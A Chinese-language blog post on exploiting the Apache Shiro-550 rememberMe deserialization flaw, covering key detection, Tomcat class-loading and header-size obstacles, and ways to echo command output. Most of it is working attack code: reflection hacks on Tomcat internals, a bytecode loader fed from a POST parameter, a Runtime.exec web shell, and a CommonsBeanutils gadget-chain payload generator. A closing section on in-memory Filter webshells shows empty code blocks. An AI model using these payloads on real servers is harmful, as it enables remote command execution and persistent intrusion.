本文主要对Shiro反序列化利用过程涉及到的问题进行分析。因其触发原理比较简单,对调试分析过程就不过多叙述了。
#Shiro-550
1.2.4版本的AES加密的密钥默认硬编码在代码里。而对rememberMe字段的处理是AES解密后直接进行反序列化。所以如果知道AES加密的密钥且目标有可用的gadget,便可进行利用。
修复方法: Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果没有设置则每次启动服务器动态生成。
在1.4.2版本之前,AES的模式为AES-CBC。在1.4.2版本后,更换加密模式为AES-GCM。
#Shiro 密钥的检测原理
- 当密钥不正确或类型转换异常时,Response包含
Set-Cookie: rememberMe=deleteMe
字段。 - 当密钥正确且没有类型转换异常时,返回包不存在
Set-Cookie: rememberMe=deleteMe
字段。
当密钥不正确时,在org.apache.shiro.crypto.JcaCipherService#crypt函数抛出异常:
当返回类型不正确时,会在返回值类型转换的时候抛出异常,这里是: java.lang.ClassCastException: java.util.HashMap cannot be cast to org.apache.shiro.subject.PrincipalCollection
这两个抛出的异常都在org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
方法中捕获并处理。
在catch的onRememberedPrincipalFailure() 方法里调用了org.apache.shiro.web.servlet.impleCookie#removeFrom()
方法来对返回包设置rememberMe=deleteMe
字段。
所以判断密钥的正确与否,需要先让反序列化后的对象能够正常转换为PrincipalCollection
对象,如果密钥正确那么返回包里就不会存在Set-Cookie: rememberMe=deleteMe
字段。
可知org.apache.shiro.subject.SimplePrincipalCollection
类实现了PrincipalCollection类,在转换时不会抛出异常。所以创建并序列化该对象,用Key aes加密序列化数据填充到rememberMe字段即可。
#检测工具
GitHub - myzxcg/ShiroKeyCheck: Shiro key check,golang Version
这工具是今年HW后写的,Go语言练手。集成了CBC和GCM两种加密模式的检测,内置了网上泄露的100+密钥。支持自定义生成rememberMe字段、请求间隔、设置HTTP代理等。
#利用过程存在的问题
-
Tomcat下Shiro无法利用
Commons-Collections 3.1-3.2.1
版本包含Transform数组的利用链。因为Shiro重写了ObjectInputStream类的resolveClass函数。ObjectInputStream的
resolveClass
方法用的是Class.forName类获取当前描述器所指代的类的Class对象。Shiro的resovleClass会调用tomcat的
org.apache.catalina.loader.WebappClassLoaderBase#loadClass
方法加载类,该方法会先寻找缓存(由于该类对数组类序列化path路径的处理问题,会找不到),找不到再调用Class.forName
并使用URLClassLoader作为加载器去加载org.apache.commons.collections.Transformer
类,但用这个类加载器必然也会找不到该类。可参考:https://blog.zsxsoft.com/post/35
解决方法: Commons-Collections 3.1通过TemplatesImpl加载字节码,可见cc11链分析。
-
SUID 不匹配
如果序列化字节流中的serialVersionUID与目标服务器对应类中的serialVersionUID不同就会出现异常,导致反序列化失败。因为不同版本jar包可能存在不同的计算方式导致算出的SUID不同,只需要和目标一样的jar包版本去生成payload即可解决。
-
中间件请求头长度限制
-
修改Tomcat请求头最大值(适用于Tomcat 7、8、9)
通过反射修改
org.apache.coyote.http11.AbstractHttp11Protocol
的maxHeaderSize的大小(默认长度8192),这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用,所以在修改完maxHeaderSize之后,需要多个连接同时访问(burp开多线程跑),让tomcat新建request的inputbuffer,这时候的buffer的大小就会使用修改后的值。代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
class Tomcat789 { public Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (NoSuchFieldException e) { } catch (IllegalAccessException e) { } clazz = clazz.getSuperclass(); } return null; } public Object GetAcceptorThread() { //获取当前所有线程 Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); //从线程组中找到Acceptor所在的线程 在tomcat6中的格式为:Http-端口-Acceptor for (Thread thread : threads) { if (thread == null || thread.getName().contains("exec")) { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { Object target = this.getField(thread, "target"); if (!(target instanceof Runnable)) { try { Object target2 = this.getField(thread, "this$0"); target = thread; } catch (Exception e) { continue; } } Object jioEndPoint = getField(target, "this$0"); if (jioEndPoint == null) { try { jioEndPoint = getField(target, "endpoint"); } catch (Exception e) { continue; } } return jioEndPoint; } } return null; } public Tomcat789() { Object jioEndPoint = this.GetAcceptorThread(); if (jioEndPoint == null) { return; } Object object = getField(getField(jioEndPoint, "handler"), "global"); java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors"); Iterator iterator = processors.iterator(); while (iterator.hasNext()) { Object next = iterator.next(); Object req = getField(next, "req"); Object serverPort = getField(req, "serverPort"); if (serverPort.equals(-1)) { continue; } org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1); ServletContext servletContext = request.getSession().getServletContext(); Connector[] connector=(Connector[])getField(getField(getField(servletContext,"context"),"service"),"connectors"); org.apache.coyote.ProtocolHandler protocolHandler = connector[0].getProtocolHandler(); ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000); return; } } }
-
通过获取存储在post请求参数中的字节码,利用Classloader加载。
代码参考下面将介绍的的Tomcat回显实现。
-
#反序列化回显
利用JSP注入的时候由于request和response是jsp的内置对象,所以在回显问题上不用考虑。但是当结合反序列化进行注入的时候需要获取到request和response对象才能进行回显。
获取request和response对象的方法
-
通用型回显(适用于Tomcat 6、7、8、9)(参考之前的文章:获取StandardContext)。
代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
package com.example.web; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Field; import java.util.Iterator; public class goodServlet extends HttpServlet { public void init() { } public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException { try { Tomcat6789 aa = new Tomcat6789(); } catch (Exception e) { e.printStackTrace(); } } public void destroy() { } class Tomcat6789 { public Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (NoSuchFieldException e) { } catch (IllegalAccessException e) { } clazz = clazz.getSuperclass(); } return null; } public Object GetAcceptorThread() { //获取当前所有线程 Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); //从线程组中找到Acceptor所在的线程 在tomcat6中的格式为:Http-端口-Acceptor for (Thread thread : threads) { if (thread == null || thread.getName().contains("exec")) { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { Object target = this.getField(thread, "target"); if (!(target instanceof Runnable)) { try { Object target2 = this.getField(thread, "this$0"); target = thread; } catch (Exception e) { continue; } } Object jioEndPoint = getField(target, "this$0"); if (jioEndPoint == null) { try { jioEndPoint = getField(target, "endpoint"); } catch (Exception e) { continue; } } return jioEndPoint; } } return null; } public Tomcat6789() { Object jioEndPoint = this.GetAcceptorThread(); if (jioEndPoint == null) { return; } Object object = getField(getField(jioEndPoint, "handler"), "global"); //从找到的Acceptor线程中获取请求域名、请求的路径 java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors"); Iterator iterator = processors.iterator(); while (iterator.hasNext()) { Object next = iterator.next(); Object req = getField(next, "req"); Object serverPort = getField(req, "serverPort"); if (serverPort.equals(-1)) { continue; } //通过自定义header ,通过获取header来判断指定的request对象 String s = ((org.apache.coyote.Request) req).getHeader("yougood"); //获得org.apache.catalina.connector.Request对象 org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1); if (s != null) { org.apache.catalina.connector.Response response =request.getResponse(); try { response.getWriter().println(request.getParameter("aa")); } catch (IOException e) { e.printStackTrace(); } /*//或者利用org.apache.coyote.Response 回显 org.apache.coyote.Response response = (org.apache.coyote.Response) getField(req, "response"); ByteChunk byte1 = new ByteChunk(); byte1.setBytes(xxx.getBytes(StandardCharsets.UTF_8), 0, xxx.length()); try { response.doWrite(byte1); } catch (IOException e) { e.printStackTrace(); }*/ /* tomcat 9回显方式 ByteBuffer byte2=ByteBuffer.wrap(xxx.getBytes(StandardCharsets.UTF_8)); try { response.doWrite(byte2); } catch (IOException ex) { ex.printStackTrace(); }*/ } } } } }
-
利用lastServicedRequest和lastServicedResponse
这两个都是静态变量。在
ApplicationFilterChain#internalDoFilter
中,当WRAP_SAME_OBJECT
为 true 时会调用ThreadLocal的set函数将request和response存放进去(tomcat6是STRICT_SERVLET_COMPLIANCE
)。可以利用反射来修改
WRAP_SAME_OBJECT
为 true ,同时初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal对象。第一次访问时通过反射修改并初始化这三个参数,第二次访问时获取参数即可。代码实现(适用于Tomcat6、7、8、9)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
try { Field wrap_same_object =null; try{ wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); }catch (Exception e){ //tomcat6 修改STRICT_SERVLET_COMPLIANCE变量 wrap_same_object = Class.forName("org.apache.catalina.Globals").getDeclaredField("STRICT_SERVLET_COMPLIANCE"); } Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest"); Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse"); lastServicedRequest.setAccessible(true); lastServicedResponse.setAccessible(true); wrap_same_object.setAccessible(true); //修改final Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); boolean wrap_same_object1 = wrap_same_object.getBoolean(null); ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null); ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null); if (!wrap_same_object1 && requestThreadLocal == null && responseThreadLocal == null){ wrap_same_object.setBoolean(null,true); lastServicedRequest.set(null,new ThreadLocal<>()); lastServicedResponse.set(null,new ThreadLocal<>()); }else{ ServletResponse servletResponse = responseThreadLocal.get(); servletResponse.getWriter().write("111"); } } catch (Exception e) { e.printStackTrace(); }
注: Shiro不能用该方法获取Response,因为rememberMe的实现使用了自己实现的filter。
request、response
的设置是在漏洞触发点之后。 -
Tomcat 8、9版本可以通过StrandContext获取到Resquest、Response对象。如图
代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); try { Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); context.setAccessible(true); ApplicationContext ApplicationContext = (ApplicationContext) context.get(standardContext); Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); service.setAccessible(true); StandardService standardService = (StandardService) service.get(ApplicationContext); Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors"); connectors.setAccessible(true); Connector[] connector = (Connector[]) connectors.get(standardService); Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler"); protocolHandler.setAccessible(true); AbstractProtocol abstractProtocol = (AbstractProtocol) protocolHandler.get(connector[0]); Field handler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler"); handler.setAccessible(true); AbstractEndpoint.Handler AChandler = (AbstractEndpoint.Handler) handler.get(abstractProtocol); Field global = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"); global.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) global.get(AChandler); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processors.setAccessible(true); java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo); Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); req.setAccessible(true); for (RequestInfo requestInfo : RequestInfo_list) { org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo); org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1); org.apache.catalina.connector.Response response2 = request2.getResponse(); //可添加条件,通过header来判断指定请求(不然内容会写到其他请求中去) response2.getWriter().write("111"); } } catch (Exception e) { e.printStackTrace(); }
-
defineClass异常回显;URLClassLoader异常回显;RMI绑定实例回显;
#回显实现
-
适用于Tomcat 7、8、9。已解决请求头长度限制问题(从Post请求中获取字节码加载)
Tomcat 6无法利用(调试CommonsBeanutils和cc11利用链发现,反序列化时无法获取
[[B
的class类型。tomcat6的WebappClassLoader类加载器和子类加载器都找不到[[B
的类)TD类代码实现
该类是在TemplatesImpl加载的字节码的类,该类中从Acceptor线程中获取request和response对象,获取请求Post参数中的字节码base64解码后,加载调用对象的equals方法(传入获取request和response对象)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
package deserialize; import java.lang.reflect.Field; import java.util.Iterator; public class TD { static { Object jioEndPoint = GetAcceptorThread(); if (jioEndPoint != null) { java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors"); Iterator iterator = processors.iterator(); while (iterator.hasNext()) { Object next = iterator.next(); Object req = getField(next, "req"); Object serverPort = getField(req, "serverPort"); if (serverPort.equals(-1)) { continue; } org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1); org.apache.catalina.connector.Response response = request.getResponse(); String code = request.getParameter("wangdefu"); if (code != null) { try { byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length); cc.newInstance().equals(new Object[]{request, response}); } catch (Exception e) { e.printStackTrace(); } } } } } public static Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (Exception e) { } clazz = clazz.getSuperclass(); } return null; } public static Object GetAcceptorThread() { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"); for (Thread thread : threads) { if (thread == null || thread.getName().contains("exec")) { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { Object target = getField(thread, "target"); if (!(target instanceof Runnable)) { try { Object target2 = getField(thread, "this$0"); target = thread; } catch (Exception e) { continue; } } Object jioEndPoint = getField(target, "this$0"); if (jioEndPoint == null) { try { jioEndPoint = getField(target, "endpoint"); } catch (Exception e) { continue; } } return jioEndPoint; } } return null; } }
cmd类代码实现
该类的字节码会被base64编码后,放在wangdefu请求参数中。在TD类中获取该参数并加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
package deserialize; import java.io.InputStream; import java.util.Scanner; public class cmd { public boolean equals(Object req) { Object[] context=(Object[]) req; org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0]; org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1]; String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.setContentType("text/html;charset=utf-8"); InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\\\a"); String output = s.hasNext() ? s.next() : ""; response.getWriter().println("----------------------------------"); response.getWriter().println(output); response.getWriter().println("----------------------------------"); response.getWriter().flush(); response.getWriter().close(); } catch (Exception e) { e.printStackTrace(); } } return true; } }
run类代码实现
通过CommonsBeanutils利用链加载TD类的字节码,生成序列化数据。获取cmd类的字节码,并base64编码输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
package deserialize; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue; public class run { public static void main(String[] args) { try { //获取字节码 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(deserialize.run.class.getClass())); CtClass ctClass = pool.get("deserialize.TD"); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = ctClass.toBytecode(); CtClass ctClass2 = pool.get("deserialize.cmd"); byte[] classBytes2 = ctClass2.toBytecode(); System.out.println("post请求参数wangdefu\\n" + Base64.getEncoder().encodeToString(classBytes2)); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setField(templates, "_name", "name"); setField(templates, "_bytecodes", new byte[][]{classBytes}); setField(templates, "_tfactory", new TransformerFactoryImpl()); setField(templates, "_class", null); BeanComparator beanComparator = new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER); PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator); setField(priorityQueue, "queue", new Object[]{templates, templates}); setField(priorityQueue, "size", 2); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser")); outputStream.writeObject(priorityQueue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser")); inputStream.readObject(); inputStream.close(); } catch (Exception e) { } } public static void setField(Object object, String field, Object args) throws Exception { Field f0 = object.getClass().getDeclaredField(field); f0.setAccessible(true); f0.set(object, args); } }
-
通过RMI绑定实例获取回显(有点鸡肋,需要在目标开RMI服务,在远程连接,如果内网机器做了反代就没法用) 通过defineClass定义的恶意命令执行字节码来绑定RMI实例,接着通过RMI调用绑定的实例拿到回显结果。Weblogic使用ClassLoader和RMI来回显命令执行结果
-
URLClassLoader抛出异常 通过将回显结果封装到异常信息抛出拿到回显。参考Java 反序列化回显的多种姿势
-
dnslog或如果知道web路径可以写文件
#反序列化注入内存马
Tomcat7 Filter内存马(Tomcat 8、9 需要改一下FilterMap和FilterDef的包名)
maven 导一下包(以免本地报错)
|
|
TD类代码实现
和回显部分代码相同。
|
|
memery类代码实现
和上面回显的cmd类差不多,只是换成了注册filter。注意,不能将注入的filter写成内部类或者匿名内部类,CtClass ctClass2 = pool.get("deserialize.memery");
是不会获取到它的内部类的,所以这里直接让memery类实现Filter接口,成为Filter类。在服务器端会报找不到该内部类。
|
|
run代码实现
这里和回显部分相同
|
|